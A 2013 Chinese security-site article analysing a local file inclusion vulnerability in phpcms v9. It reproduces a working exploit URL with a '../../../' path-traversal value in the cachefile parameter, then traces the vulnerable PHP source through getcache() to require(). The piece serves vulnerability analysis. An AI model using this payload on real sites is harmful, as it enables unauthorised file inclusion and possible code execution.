首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
phpcms v9本地文件包含漏洞超详细分析
来源:http://www.secoff.net/ 作者:b4dboy 发布时间:2013-04-03  

漏洞作者: b4dboy 

博客:http://www.secoff.net/
漏洞分析:Seay
博客:http://www.cnseay.com/
转载请保留以上版权内容。
昨天愚人节,在微博开了个玩笑说博客即将关闭,然后陆续收到朋友们的电话、短信、QQ消息、私信等来询问,还有不少朋友开始备份我博客文章。。。蛋疼。对不住啊,亲们。

b4dboy基友放出dedecms跟phpcmsv9的本地包含漏洞。Dedecms的漏洞我也做了详细分析,但是由于某些原因暂时不能放出来,等过两天能发的时候就发出来,蛋疼啊,有写好的文章因为某些原因又不能发,真的很郁闷很郁闷,繁琐的流程,具体的原因你们猜的到就猜吧。

发一个phpcms v9的吧,相关描述在http://www.cnseay.com/2530/,感谢b4dboy基友的分享。
根据作者放出的exp:

http://www.php0day.com/api.php?op=get_menu&act=ajax_getlist&callback=alert&path=b4dboy&cachefile=../../../fuck

可以看出漏洞在get_menu.php文件的ajax_getlist()函数。我们跟进去看看。

function ajax_getlist() {

$cachefile
= $_GET['cachefile'];
$path
= $_GET['path'];
$title
= $_GET['title'];
$key
= $_GET['key'];
$infos
= getcache($cachefile,$path);
$where_id
= intval($_GET['parentid']);
$parent_menu_name
= ($where_id==0) ? '' : trim($infos[$where_id][$key]);

OK,看到了exp中的cachefile参数

$cachefile = $_GET['cachefile'];

继续跟进,看到

$infos = getcache($cachefile,$path);

调用了getcache()函数,

在\phpcms\libs\functions\global.func.php 文件505行

/**
* 读取缓存,默认为文件缓存,不加载缓存配置。
* @param string $name 缓存名称
* @param $filepath 数据路径(模块名称) caches/cache_$filepath/
* @param string $config 配置名称
*/

function getcache($name, $filepath='', $type='file', $config='') {
pc_base
::load_sys_class('cache_factory','',0);
if($config) {
$cacheconfig
= pc_base::load_config('cache');
$cache
= cache_factory::get_instance($cacheconfig)->get_cache($config);
} else {
$cache
= cache_factory::get_instance()->get_cache($type);
}
return $cache->get($name, '', '', $filepath);
}

OK,很清楚的可以看到传进来的$name变量,即缓存名称最终进入了$cache->get($name, ”, ”, $filepath);。


在phpcms\libs\classes\cache_file.class.php 文件的get函数

public function get($name, $setting = '', $type = 'data', $module = ROUTE_M) {
$this
->get_setting($setting);
if(empty($type)) $type = 'data';
if(empty($module)) $module = ROUTE_M;
$filepath
= CACHE_PATH.'caches_'.$module.'/caches_'.$type.'/';
$filename
= $name.$this->_setting['suf'];//echo $filepath.$filename;exit();
if (!file_exists($filepath.$filename)) {
return false;
} else {
   
if($this->_setting['type'] == 'array') {
    $data
= @require($filepath.$filename);

我在上面加了个echo $filepath.$filename;exit();输出了路径,如图

 

很清楚了吧。例如包含的根目录的1.cache.php

 

 

如果你仔细看看同类的函数,会发现还有很多类似的。慢慢挖吧。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·Solaris 10 telnet漏洞及解决
·动网(DVBBS)Version 8.2.0 后
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·南方数据企业网站管理系统V10.0
·dedecms最新版本修改任意管理员
·Discuz!后台拿Webshell 0day
  相关文章
·phpcms多个版本后台拿shell漏洞
·Struts2远程代码执行漏洞分析(S
·STRUTS2最近量产漏洞分析(2013-
·dedecms最新版本修改任意管理员
·Spring爆远程代码执行漏洞(含EX
·最土团购网盲注n枚
·Struts2再爆远程代码执行漏洞(S
·PHPCMS2008任意PHP代码执行漏洞
·FCKEditor 2.6.8文件上传和有趣
·ecshop csrf getshell
·ThinkSNS 2.8 上传任意文件漏洞
·Struts2多个漏洞简要分析
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved